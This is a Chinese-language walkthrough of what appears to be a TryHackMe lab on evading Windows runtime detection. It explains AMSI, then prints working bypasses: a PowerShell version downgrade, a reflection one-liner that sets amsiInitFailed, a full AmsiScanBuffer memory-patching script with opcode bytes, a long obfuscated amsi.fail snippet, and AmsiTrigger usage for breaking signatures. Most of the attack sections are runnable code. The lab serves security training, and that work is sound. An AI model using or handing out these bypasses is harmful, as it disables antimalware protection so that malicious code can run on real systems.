
Runtime Detection Evasion(运行时检测规避)
1.Runtime Detections(运行时检测)
当执行代码或应用程序时,无论解释器如何,它几乎总是会流经运行时。当使用 Windows API 调用和与 .NET 交互时,这种情况最常见。 CLR(公共语言运行时)和 DLR(动态语言运行时)是 .NET 的运行时,是使用 Windows 系统时最常见的运行时。在此任务中,我们不会讨论运行时的细节;相反,我们将讨论如何监控它们以及如何检测恶意代码。 运行时检测措施将在运行时执行之前扫描代码并确定其是否是恶意的。根据其背后的检测措施和技术,此检测可以基于字符串签名、启发式或行为。如果代码被怀疑是恶意的,则会为其分配一个值,如果在指定范围内,它将停止执行,并可能隔离或删除文件/代码。 运行时检测措施与标准防病毒不同,因为它们将直接从内存和运行时进行扫描。同时,防病毒产品还可以利用这些运行时检测来更深入地了解源自代码的调用和挂钩。在某些情况下,防病毒产品可能会使用运行时检测流/源作为其启发法的一部分。 在这个房间里,我们将主要关注 AMSI(反恶意软件扫描接口)。 AMSI 是 Windows 自带的运行时检测措施,也是其他产品和解决方案的接口。
2.AMSI Overview(AMSI 概述)
AMSI(反恶意软件扫描接口)是一项 PowerShell 安全功能,允许任何应用程序或服务直接集成到反恶意软件产品中。 Defender 使用 AMSI 在 .NET 运行时内执行之前扫描有效负载和脚本。 Microsoft 表示:“Windows 反恶意软件扫描接口 (AMSI) 是一种多功能接口标准,允许您的应用程序和服务与计算机上存在的任何反恶意软件产品集成。AMSI 为您的最终用户及其数据提供增强的恶意软件保护、应用程序和工作负载。”有关 AMSI 的更多信息,请查看 Windows 文档。 AMSI 将根据监控和扫描的响应代码确定其操作。以下是可能的响应代码的列表,
- AMSI_RESULT_CLEAN = 0
- AMSI_RESULT_NOT_DETECTED = 1
- AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384
- AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479
- AMSI_RESULT_DETECTED = 32768
这些响应代码只会在 AMSI 后端或通过第三方实施报告。如果 AMSI 检测到恶意结果,它将停止执行并发送以下错误消息。
PS C:Users\Tryhackme> 'Invoke-Hacks'
At line:1 char:1
+ "Invoke-Hacks"
+ ~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) []. ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
AMSI 完全集成到以下 Windows 组件中,
- User Account Control, or UAC
- PowerShell
- Windows Script Host (wscript and cscript)
- JavaScript and VBScript
- Office VBA macros
作为攻击者,当针对上述组件时,我们在执行代码或滥用组件时需要注意 AMSI 及其实现。 在下一个任务中,我们将介绍 AMSI 如何工作以及在 Windows 中进行检测背后的技术细节。
3.AMSI Instrumentation(AMSI 仪器仪表)
AMSI 的检测方式可能很复杂,包括多个 DLL 以及根据检测位置而变化的执行策略。根据定义,AMSI 只是其他反恶意软件产品的接口; AMSI 将使用多个提供程序 DLL 和 API 调用,具体取决于正在执行的内容以及正在执行的层。 AMSI 由 System.Management.Automation.dll 进行检测,System.Management.Automation.dll 是 Windows 开发的 .NET 程序集;根据 Microsoft 文档,“程序集构成了基于 .NET 的应用程序的部署、版本控制、重用、激活范围和安全权限的基本单元。” .NET 程序集将根据解释器以及是否位于磁盘或内存上来检测其他 DLL 和 API 调用。下图描述了数据流经各层时如何进行剖析以及正在检测哪些 DLL/API 调用。

在上图中,数据将根据所使用的解释器(PowerShell/VBScript/等)开始流动。当数据沿着模型的每一层流动时,将检测各种 API 调用和接口。了解 AMSI 的完整模型很重要,但我们可以将其分解为核心组件,如下图所示。

注意:仅当从 CLR 执行时从内存加载时才会检测 AMSI。假设磁盘上的 MsMpEng.exe (Windows Defender) 已被检测。 我们的大部分研究和已知的绕过方法都位于 Win32 API 层,操纵 AmsiScanBuffer API 调用。 您可能还会注意到 AMSI 的“其他应用程序”界面。 AV 提供商等第三方可以从其产品中检测 AMSI。 Microsoft 记录了 AMSI 函数和 AMSI 流接口。
我们可以分解 AMSI PowerShell 检测的代码,以更好地了解它的实现方式并检查可疑内容。要查找 AMSI 的检测位置,我们可以使用 Cobbr 维护的 InsecurePowerShell。 InsecurePowerShell 是 PowerShell 的 GitHub 分支,删除了安全功能;这意味着我们可以查看比较的提交并观察任何安全功能。 AMSI 仅在 src/System.Management.Automation/engine/runtime/CompiledScriptBlock.cs 下的十二行代码中进行检测。这十二行如下所示。
var scriptExtent = scriptBlockAst.Extent;
if (AmsiUtils.ScanContent(scriptExtent.Text, scriptExtent.File) == AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_DETECTED)
{
var parseError = new ParseError(scriptExtent, "ScriptContainedMaliciousContent", ParserStrings.ScriptContainedMaliciousContent);
throw new ParseException(new[] { parseError });
}
if (ScriptBlock.CheckSuspiciousContent(scriptBlockAst) != null)
{
HasSuspiciousContent = true;
}
我们可以利用 AMSI 如何检测的知识以及其他人的研究来创建和使用滥用和逃避 AMSI 或其实用程序的旁路。
4.PowerShell Downgrade(PowerShell降级)
PowerShell 降级攻击是一个非常容易实现的目标,它允许攻击者修改当前的 PowerShell 版本以删除安全功能。 大多数 PowerShell 会话将从最新的 PowerShell 引擎开始,但攻击者可以通过一行代码手动更改版本。通过将 PowerShell 版本“降级”到 2.0,您可以绕过安全功能,因为这些功能直到版本 5.0 才实现。 该攻击只需要在我们的会话中执行一行代码即可。我们可以使用标志 -Version 来启动新的 PowerShell 进程来指定版本 (2)。
PowerShell -Version 2
这种攻击可以在 Unicorn 等工具中被积极利用。
full_attack = '''powershell /w 1 /C "sv {0} -;sv {1} ec;sv {2} ((gv {3}).value.toString()+(gv {4}).value.toString());powershell (gv {5}).value.toString() (\\''''.format(ran1, ran2, ran3, ran1, ran2, ran3) + haha_av + ")" + '"'
由于这种攻击非常容易实现并且技术简单,因此蓝队有多种方法可以检测和减轻这种攻击。 两个最简单的缓解措施是从设备中删除 PowerShell 2.0 引擎并通过应用程序阻止列表拒绝对 PowerShell 2.0 的访问。
5.PowerShell Reflection(PowerShell 反射)
反射允许用户或管理员访问.NET 程序集并与之交互。根据 Microsoft 文档,“程序集构成了基于 .NET 的应用程序的部署、版本控制、重用、激活范围和安全权限的基本单元。” .NET 程序集可能看起来很陌生;但是,我们可以通过了解它们以熟悉的格式(例如 exe(可执行文件)和 dll(动态链接库))形成来使它们更加熟悉。 PowerShell 反射可能被滥用来修改和识别有价值的 DLL 中的信息。 PowerShell 的 AMSI 实用程序存储在位于 System.Management.Automation.AmsiUtils 中的 AMSIUtils .NET 程序集中。 Matt Graeber 发表了一篇俏皮话来实现使用反射修改和绕过 AMSI 实用程序的目标。这一行可以在下面的代码块中看到。
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
为了解释代码功能,我们将其分解为更小的部分。 首先,该代码片段将调用反射函数并指定它想要使用 [Ref.Assembly] 中的程序集,然后它将使用 GetType 获取 AMSI 实用程序的类型。
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
从上一节收集的信息将转发到下一个函数,以使用 GetField 获取程序集中的指定字段。
.GetField('amsiInitFailed','NonPublic,Static')
然后,程序集和字段信息将被转发到下一个参数,以使用 SetValue 将值从 $false 设置为 $true。
.SetValue($null,$true)
一旦 amsiInitFailed 字段设置为 $true,AMSI 将使用响应代码进行响应:
AMSI_RESULT_NOT_DETECTED = 1
6. Patching AMSI(AMSI 修补)
AMSI 主要是从 amsi.dll 进行检测和加载的;这可以从我们之前观察到的图表中得到证实。该 dll 可能会被滥用并强制指向我们想要的响应代码。 AmsiScanBuffer 函数为我们提供了访问响应代码的指针/缓冲区所需的挂钩和功能。 AmsiScanBuffer 存在漏洞,因为 amsi.dll 在启动时被加载到 PowerShell 进程中;我们的会话与实用程序具有相同的权限级别。 AmsiScanBuffer 将扫描可疑代码的“缓冲区”并将其报告给 amsi.dll 以确定响应。我们可以控制这个函数并用干净的返回代码覆盖缓冲区。为了确定返回码所需的缓冲区,我们需要进行一些逆向工程;幸运的是,这项研究和逆向工程已经完成。我们有获得干净响应所需的准确返回代码!我们将分解由 BC-Security 修改并受 Tal Liberman 启发的代码片段;你可以在这里找到原始代码。 RastaMouse 也有一个用 C# 编写的类似旁路,使用相同的技术;你可以在这里找到代码。 在高层次上,AMSI 修补可以分为四个步骤,
- 获取amsi.dll的句柄
- 获取AmsiScanBuffer的进程地址
- 修改AmsiScanBuffer的内存保护
- 向AmsiScanBuffer写入操作码
我们首先需要加载我们想要使用的任何外部库或 API 调用;我们将使用 p/invoke 从 kernel32 加载 GetProcAddress、GetModuleHandle 和 VirtualProtect。
[DllImport(`"kernel32`")] // Import DLL where API call is stored
public static extern IntPtr GetProcAddress( // API Call to import
IntPtr hModule, // Handle to DLL module
string procName // function or variable to obtain
);
[DllImport(`"kernel32`")]
public static extern IntPtr GetModuleHandle(
string lpModuleName // Module to obtain handle
);
[DllImport(`"kernel32`")]
public static extern bool VirtualProtect(
IntPtr lpAddress, // Address of region to modify
UIntPtr dwSize, // Size of region
uint flNewProtect, // Memory protection options
out uint lpflOldProtect // Pointer to store previous protection options
);
现在函数已定义,但我们需要使用 Add-Type 加载 API 调用。此 cmdlet 将加载具有正确类型和命名空间的函数,以允许调用函数。
$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru;
现在我们可以调用 API 函数了,我们可以确定 amsi.dll 所在的位置以及如何访问该函数。首先,我们需要使用 GetModuleHandle 来识别 AMSI 的进程句柄。然后,该句柄将用于使用 GetProcAddress 来识别 AmsiScanBuffer 的进程地址。
$handle = [Win32.Kernel32]::GetModuleHandle(
'amsi.dll' // Obtains handle to amsi.dll
);
[IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress(
$handle, // Handle of amsi.dll
'AmsiScanBuffer' // API call to obtain
);
接下来,我们需要修改AmsiScanBuffer进程区域的内存保护。我们可以为 VirtualProtect 指定参数和缓冲区地址。 有关参数及其值的信息可以从前面提到的 API 文档中找到。
[UInt32]$Size = 0x5; // Size of region
[UInt32]$ProtectFlag = 0x40; // PAGE_EXECUTE_READWRITE
[UInt32]$OldProtectFlag = 0; // Arbitrary value to store options
[Win32.Kernel32]::VirtualProtect(
$BufferAddress, // Point to AmsiScanBuffer
$Size, // Size of region
$ProtectFlag, // Enables R or RW access to region
[Ref]$OldProtectFlag // Pointer to store old options
);
我们需要指定我们想要用什么覆盖缓冲区;可以在此处找到识别此缓冲区的过程。一旦指定了缓冲区,我们就可以使用 marshal copy 来写入进程。
$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3);
[system.runtime.interopservices.marshal]::copy(
$buf, // Opcodes/array to write
0, // Where to start copying in source array
$BufferAddress, // Where to write (AsmiScanBuffer)
6 // Number of elements/opcodes to write
);
在此阶段,我们应该可以绕过 AMSI!应该注意的是,对于大多数工具,签名和检测都可以并且被精心设计来检测此脚本。
7.Automating for Fun and Profit(自动化带来乐趣和利润)
虽然最好使用本房间中显示的先前方法,但攻击者可以使用其他自动化工具来破坏 AMSI 签名或编译绕过。 我们将看到的第一个自动化工具是 amsi.fail amsi.fail 将从一组已知绕过程序中编译并生成 PowerShell 绕过程序。来自 amsi.fail,“AMSI.fail 生成混淆的 PowerShell 片段,这些片段会破坏或禁用当前进程的 AMSI。这些片段是在混淆之前从一小部分技术/变体中随机选择的。每个片段都会在运行时/请求时进行混淆,以便不会出现任何问题。”生成的输出共享相同的签名。”下面是 amsi.fail 中经过混淆的 PowerShell 代码段的示例
$d=$null;$qcgcjblv=[$(('Sys'+'tem').NoRMALizE([CHar](70*66/66)+[CHaR](77+34)+[cHaR]([bYTe]0x72)+[ChAR]([bYtE]0x6d)+[chaR](68*10/10)) -replace [cHAR](92)+[char]([ByTE]0x70)+[cHar]([bYtE]0x7b)+[Char](69+8)+[ChAr]([bYTE]0x6e)+[ChaR]([BYtE]0x7d)).Runtime.InteropServices.Marshal]::AllocHGlobal((9076+7561-7561));$pkgzwpahfwntq="+('lwbj'+'cymh').NORmaliZe([CHar]([byTe]0x46)+[char](111)+[ChAR]([ByTE]0x72)+[chaR](109*73/73)+[ChAR]([ByTE]0x44)) -replace [char]([bytE]0x5c)+[Char](112*106/106)+[char]([bYte]0x7b)+[chAR]([BYtE]0x4d)+[CHAR](110+8-8)+[CHAr]([BytE]0x7d)";[Threading.Thread]::Sleep(1595);[Ref].Assembly.GetType("$(('Sys'+'tem').NoRMALizE([CHar](70*66/66)+[CHaR](77+34)+[cHaR]([bYTe]0x72)+[ChAR]([bYtE]0x6d)+[chaR](68*10/10)) -replace [cHAR](92)+[char]([ByTE]0x70)+[cHar]([bYtE]0x7b)+[Char](69+8)+[ChAr]([bYTE]0x6e)+[ChaR]([BYtE]0x7d)).$(('Mãnâge'+'ment').NOrMalIzE([ChaR](70)+[chAR](111*105/105)+[cHAR](114+29-29)+[chaR]([bYtE]0x6d)+[CHAR](22+46)) -replace [cHar]([BytE]0x5c)+[CHar](112*11/11)+[chAR](123+34-34)+[CHAR](77*13/13)+[cHaR]([bYTe]0x6e)+[cHAR]([bYte]0x7d)).$(('Àutõmâtî'+'ôn').NoRMAlIZe([CHar]([bYTE]0x46)+[Char]([byte]0x6f)+[cHAR]([BYtE]0x72)+[cHAR](109+105-105)+[ChAr](68*28/28)) -replace [chAR]([BytE]0x5c)+[cHAr]([BYTE]0x70)+[CHAR]([BytE]0x7b)+[char]([byte]0x4d)+[CHaR]([BYte]0x6e)+[chaR](125+23-23)).$([CHAR]([ByTe]0x41)+[CHAr]([bYtE]0x6d)+[chaR](115*46/46)+[cHar]([BYTe]0x69)+[cHaR](85)+[CHAr](116)+[chAr](105*44/44)+[cHAr](108*64/64)+[chAr]([BYte]0x73))").GetField("$(('àmsí'+'Sess'+'íón').norMALiZE([CHaR](70*49/49)+[chAr](87+24)+[ChaR]([bytE]0x72)+[chAr](109)+[chAR](68+43-43)) -replace [CHAr](92)+[chAr]([byTe]0x70)+[CHAr]([bYTE]0x7b)+[cHAr](77*71/71)+[CHar]([bYtE]0x6e)+[char](125+49-49))", "NonPublic,Static").SetValue($d, $null);[Ref].Assembly.GetType("$(('Sys'+'tem').NoRMALizE([CHar](70*66/66)+[CHaR](77+34)+[cHaR]([bYTe]0x72)+[ChAR]([bYtE]0x6d)+[chaR](68*10/10)) -replace [cHAR](92)+[char]([ByTE]0x70)+[cHar]([bYtE]0x7b)+[Char](69+8)+[ChAr]([bYTE]0x6e)+[ChaR]([BYtE]0x7d)).$(('Mãnâge'+'ment').NOrMalIzE([ChaR](70)+[chAR](111*105/105)+[cHAR](114+29-29)+[chaR]([bYtE]0x6d)+[CHAR](22+46)) -replace [cHar]([BytE]0x5c)+[CHar](112*11/11)+[chAR](123+34-34)+[CHAR](77*13/13)+[cHaR]([bYTe]0x6e)+[cHAR]([bYte]0x7d)).$(('Àutõmâtî'+'ôn').NoRMAlIZe([CHar]([bYTE]0x46)+[Char]([byte]0x6f)+[cHAR]([BYtE]0x72)+[cHAR](109+105-105)+[ChAr](68*28/28)) -replace [chAR]([BytE]0x5c)+[cHAr]([BYTE]0x70)+[CHAR]([BytE]0x7b)+[char]([byte]0x4d)+[CHaR]([BYte]0x6e)+[chaR](125+23-23)).$([CHAR]([ByTe]0x41)+[CHAr]([bYtE]0x6d)+[chaR](115*46/46)+[cHar]([BYTe]0x69)+[cHaR](85)+[CHAr](116)+[chAr](105*44/44)+[cHAr](108*64/64)+[chAr]([BYte]0x73))").GetField("$([chAR]([byTe]0x61)+[Char](109+52-52)+[cHar](46+69)+[CHar]([byTe]0x69)+[CHAR]([BYTe]0x43)+[Char]([ByTe]0x6f)+[chAR](110)+[chaR](116*47/47)+[cHar](101)+[CHAR]([bYte]0x78)+[CHaR]([ByTE]0x74))", "NonPublic,Static").SetValue($null, [IntPtr]$qcgcjblv);
您可以将此绕过方法附加到恶意代码的开头,就像以前的绕过方法一样,或者在执行恶意代码之前在同一会话中运行它。
AMSITrigger 允许攻击者自动识别标记签名的字符串,以修改和破坏它们。这种绕过 AMSI 的方法比其他方法更一致,因为您正在使文件本身变得干净。 使用 amsitrigger 的语法相对简单;您需要指定文件或 URL 以及扫描文件的格式。下面是运行 amsitrigger 的示例。
C:\Users\Tryhackme\Tools>AmsiTrigger_x64.exe -i "bypass.ps1" -f 3
$MethodDefinition = "
[DllImport(`"kernel32`")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport(`"kernel32`")]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport(`"kernel32`")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
";
$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru;
$handle = [Win32.Kernel32]::GetModuleHandle('amsi.dll');
[IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, 'AmsiScanBuffer');
[UInt32]$Size = 0x5;
[UInt32]$ProtectFlag = 0x40;
[UInt32]$OldProtectFlag = 0;
[Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag);
$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3);
[system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6);
签名以红色突出显示;你可以通过编码、混淆等方式破坏这些签名。

